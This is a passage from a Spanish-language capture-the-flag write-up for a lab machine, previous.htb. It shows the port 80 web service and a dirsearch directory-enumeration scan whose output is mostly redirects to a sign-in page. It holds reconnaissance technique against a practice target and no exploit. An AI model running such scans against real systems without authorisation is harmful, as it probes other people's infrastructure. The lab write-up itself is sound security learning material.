&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="http-puerto-80"&gt;HTTP (Puerto 80)&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-808d-8dd3-d9616c0d4049.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Durante la navegación inicial aparece:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Contacto:&lt;/strong&gt; &lt;code&gt;jeremy@previous.htb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Rutas visibles: &lt;strong&gt;GET STARTED&lt;/strong&gt; y &lt;strong&gt;DOCS&lt;/strong&gt;: &lt;code&gt;/api/auth/signin?callbackUrl=%2Fdocs&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Descubrimiento de rutas&lt;/p&gt;
&lt;p&gt;Se enumeraron endpoints con &lt;code&gt;dirsearch&lt;/code&gt; y la mayoría redirigían a &lt;code&gt;/api/auth/signin?callbackUrl=...&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dirsearch -u previous.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 35B - /api -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /api.log -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi.log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /api-doc -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi-doc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 38B - /
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;api.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2Fapi.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /api.php -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api-docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi-docs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /api/config -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 60B - /api/apidocs/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapidocs%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 60B - /api/2/issue/createmeta -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2F2%2Fissue%2Fcreatemeta
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 41B - /api/api -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 48B - /api/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /api/cask/graphql -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fcask%2Fgraphql
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 46B - /api/api-docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapi-docs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 42B - /api/docs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fdocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/profile -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fprofile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 43B - /api/batch -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fbatch
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 50B - /api/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 54B - /api/application.wadl -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapplication.wadl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /api/jsonws -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fjsonws
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 48B - /api/login.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Flogin.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 57B - /api/spec/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fspec%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 47B - /api/snapshots -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fsnapshots
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 47B - /api/error_log -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Ferror_log
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 43B - /api/proxy -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fproxy
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/swagger -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 53B - /api/swagger-ui.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger-ui.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 50B - /api/swagger.yaml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 53B - /api/jsonws/invoke -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fjsonws%2Finvoke
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/apidocs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fapidocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 73B - /api/package_search/v4/documentation -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fpackage_search%2Fv4%2Fdocumentation
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 58B - /api/swagger/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/swagger/swagger -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Fswagger
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 49B - /api/swagger.yml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger.yml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 67B - /api/swagger/static/index.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Fstatic%2Findex.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 58B - /api/swagger/ui/index -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fswagger%2Fui%2Findex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /api/timelion/run -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Ftimelion%2Frun
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v1 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v1/swagger.yaml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv1%2Fswagger.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v3 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v1/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv1%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v4 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 74B - /api/vendor/phpunit/phpunit/phpunit -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fvendor%2Fphpunit%2Fphpunit%2Fphpunit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 45B - /api/version -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fversion
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 40B - /api/v2 -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 62B - /api/v2/helpdesk/discover -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2%2Fhelpdesk%2Fdiscover
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v2/swagger.yaml -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2%2Fswagger.yaml
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 55B - /api/v2/swagger.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fv2%2Fswagger.json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 39B - /apidocs -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapidocs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 57B - /apiserver-aggregator.cert -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-aggregator.cert
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 49B - /apiserver-key.pem -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-key.pem
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 52B - /apiserver-client.crt -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-client.crt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /apibuild.pyc -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapibuild.pyc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 56B - /apiserver-aggregator.key -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-aggregator.key
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 44B - /api/whoami -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapi%2Fwhoami
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 60B - /apiserver-aggregator-ca.cert -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapiserver-aggregator-ca.cert
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 38B - /apidoc -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapidoc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:32&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 36B - /apis -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fapis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:33&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 19B - /axis//happyaxis.jsp -&amp;gt; /axis/happyaxis.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:33&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 30B - /axis2//axis2-web/HappyAxis.jsp -&amp;gt; /axis2/axis2-web/HappyAxis.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:33&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 24B - /axis2-web//HappyAxis.jsp -&amp;gt; /axis2-web/HappyAxis.jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:36&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;308&lt;/span&gt; - 52B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -&amp;gt; /Citrix/AccessPlatform/auth/clientscripts/cookies.js
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 53B - /docs/CHANGELOG.html -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs%2FCHANGELOG.html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;12:58:40&lt;span style="color:#f92672"&gt;]&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;307&lt;/span&gt; - 41B - /docs.json -&amp;gt; /api/auth/signin?callbackUrl&lt;span style="color:#f92672"&gt;=&lt;/span&gt;%2Fdocs.json
